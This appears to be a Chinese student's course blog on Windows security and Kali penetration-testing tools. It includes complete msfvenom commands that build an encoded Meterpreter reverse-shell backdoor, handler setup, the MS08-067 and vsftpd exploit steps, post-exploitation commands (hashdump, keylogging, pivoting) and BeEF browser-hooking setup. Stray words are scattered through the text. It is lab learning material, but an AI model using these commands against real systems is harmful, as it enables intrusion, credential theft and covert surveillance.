Windows操做系统的基本结构:
分为运行于处理器特权模式的操做系统内核,以及运行在处理器非特权模式的用户空间代码。
Windows操做系统内核基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
Windows操做系统在用户态的代码模块:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
Windows操做系统内核中实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。php
Windows安全体系结构:
Windows操做系统基于引用监控器模型来实现基本的对象安全模型。其中最为核心的是位于内核中的SRM安全引用监控器,以及位于用户台的LSASS安全服务。
Windows身份认证机制:
Windows操做系统中以安全主题概念来包含全部进行系统资源访问请求的实体对象,有用户,用户组,和计算机三大类。其中用户组是为了简化用户管理而引入的用户帐户容器。html
Windows远程攻击技术:
远程口令猜想与破解攻击(最简单方法),攻击Windows网络服务,攻击Windows客户端及用户。java
Metasploit
彻底开源的渗透测试软件。Metasploit软件采用开发框架和模块组件的可拓展模型。以Ruby语言编写的MSF库最为整个软件的基础核心,为渗透测试组件的开发与测试提供平台。Metasploit提供多种用户接口,包括console交互终端,命令行程序运行,web交互界面以及GUI图形化界面。linux
使用Metasploit软件攻击Windows上的MS08-067
首先打开Metasploit软件,并使用软件中针对Windows上的MS08-067的攻击库
RHOST为靶机的IP地址
LHOST为攻击机的IP地址
得到靶机的shellcode,并截取靶机当前的电脑屏幕
截取靶机屏幕结果图
web
问题:Metasploit handler failed to bind
shell
解决方法:通过检查,其实是攻击机的IP地址改变了,查看攻击机的IP地址后,修改LHOST,问题解决。windows
(1)searchsploit
浏览器
列举出漏洞和文件地址,相对目录是/usr/share/exploitdb/platforms安全
(2)pattern create
测试漏洞网络
armitage
结合MSF进行利用
(3)jboss-autopwn-linux/win
专门针对Jboss的漏洞利用工具
(4)ikat
自动化开启,等待目标访问中招。
(6)termineter
评估智能电表的安全性。
(1)
Metasploit-framework在usr/share/metasploit-framework目录下
该目录下的modules目录
auxiliary 辅助模块
encoders 供msfencode编码工具使用
exploit 攻击模块
payloads 攻击载荷
post 后渗透阶段模块
(2)
msfpayload:用来生成payload或者shellcode
搜索的时候可使用msfpayload -l |grep "windows"
-o 列出所需参数
msfencode:
msf中的编码器
msfconsole:
开启Metasploit的console,开启命令行界面。
(3)测试实例
扫描目标主机开启的服务
针对vsftpd搜索
发现有可利用的
选择exploit参数
set RHOST 172.16.6.119
设置payload
set payload cmd/unix/interact
对目标进行攻击测试,绿色标志攻击有效。
cat得到目标主机的一些文件
meterpreter模块,Metasploit框架中的一个拓展模块,做为一出成功后的攻击载荷使用。
经常使用的命令:
background 将当前会话放置后台
load/use 加载模块
interact 切换进一个信道
migrate 迁移进程
run 执行一个已有的模块
resource 执行一个已有的rc脚本,能够自定义
(1)生成meterpreter后门
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.6.119 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
在这以前,设置参数
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options set LPORT 2333
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
(2)开启handler,打开监听
set LHOST 172.16.6.91 #本地IP exploit
(3)在目标主机打开door1.exe
(4)返回一个shell
(5)执行常见命令
sysinfo 查看系统信息
hashdump 抓取哈希
screenshot 抓取屏幕
keyscan_start 键盘记录
keyscan_dump
keyscan_stop
load 拓展工具
(1)查看跳板机的网卡
ifconfig
(2)添加路由表
run autoroute -s 10.0.0.1
(3)开socks代理
search socks use auxiliary/server/socks4a axploit
(4)经过background和sessions -i能够自由切换进入session
(5)输入run能够看待在meterpreter上能够作的不少命令
(6)经过run post/能够看到后渗透测试的模块
(7)查看内网信息
run arp_scanner -r 目标IP地址段
内网端口转发
upload lcx.exe c:\\ 上传到C盘根目录
对XSS漏洞的利用,BeeF是浏览器攻击框架的简称,专一于浏览器端的渗透工具。
使用3000端口
默认用户名:beef
默认密码:beef
http://127.0.0.1:3000/ui/authentication
http://127.0.0.1:3000/demos/basic.html
能够在commands模块发送攻击命令
颜色不一样表明攻击模块是否可用,隐蔽性强度。
(1)试验:
JavaScript弹出窗口
效果图
(2)proxy
借助目标浏览器,访问目标能够访问的内容
使用说明:
(3)beef和Metasploit结合
cd /usr/share/beef-xss
修改该目录下config.yaml中,metasploit改成true
cd extensions/metasploit
修改该目录下config.yaml中,host和callback_host,都设置为主机IP地址,修改custom路径为/usr/share/metasploit-framework/
完成后,打开msfconsole
load msgrpc ServerHost=本身主机IP地址 Pass=abc123(默认密码)
进入beef-xss根目录
cd /usr/share/beef-xss
执行
./beef -x
加载完成后重启服务
service beef-xss restart
完成后从新加载网页,发现多了不少Metasploit模块
问题:生成meterpreter后门出错,找不到msfpayload和msfencode命令
解决方法:新版kali中没有msfpayload和msfencod,使用msfvenom,msfvenom结合了payload 和encode的功能
部分参数:
-p,--payload <负载> 负载使用。指定' - '或标准输入使用自定义负载
-l,--list [的module_type]列出一个模块类型。选项包括:有效载荷,编码器,空指令,全部
-n,--nopsled <长度> [长度]大小对有效载荷在前面加上nopsled
-f,--format <格式> 输出格式(使用--help-格式列表)
-e,--encoder [编码器]编码器使用
-a,--arch <架构> 的架构使用
--platform <平台> 有效载荷的平台
-s,--space <长度> 所得有效负载的最大尺寸
-b,--bad-字符 <列表> 字符列表,以免例如:' X00 XFF“
-i,--iterations <计数> 的次数,以有效负载进行编码
-c,--add代码 <路径> 指定一个额外的win32 shellcode的文件,包括
-x,--template <路径> 指定一个自定义的可执行文件做为模板使用
-k,--keep保存模板行为和有效载荷为一个新的线程注入
--payload-选项列表中的有效载荷的标准选项
-o,--out <路径> 保存有效载荷
-v,--var名 <名> 指定用于某些输出格式的自定义变量名称
-h,--help显示此消息
--help-格式列出可用的格式
须要注意的是:
一、-a
arch:x86 是指生成的payload只能在32位系统运行
arch:x86_64 是指模块同时兼容32位操做系统和64位操做系统
arch:x64 是指生成的payload只能在64位系统运行
注意:有的payload的选项为多个:arch:x86_64,x64
须要-a参数选择一个系统架构。
二、-e
选择一个encode框架
有多个encode框架:
Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
kali视频中实际采用框架为cmd/powershell_base64
执行命令对应修改成:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
成功
本周学习了针对Windows操做系统的攻击和安全防范。
一、下面哪些Linux 命令能够ASCII码和16进制单字节方法输出Hello.java的内容?
A .
od -b -tx1 Hello.java
B .
od -tcx1 Hello.java
C .
od -tc -tx1 Hello.java
D .
od -tbx1 Hello.java
正确答案为BC
二、ARP欺骗破坏了信息的完整性。()
A .
True
B .
False
正确答案为B
三、netfilter/iptables的规则表中,能够进行源IP和端口转换的是?
A .
filter表
B .
trans表
C .
nat表
D .
mangle表
正确答案: C
完成网络攻防课程的学习,完成各类攻防实践操做。
掌握常见的网络安全
牚握Metasploit的使用
学习内容 | 学习时间 |
---|---|
课本7章学习 | 5小时 |
kali视频21-25 | 5小时 |
实践练习 | 4小时 |
整理写博客 | 3小时 |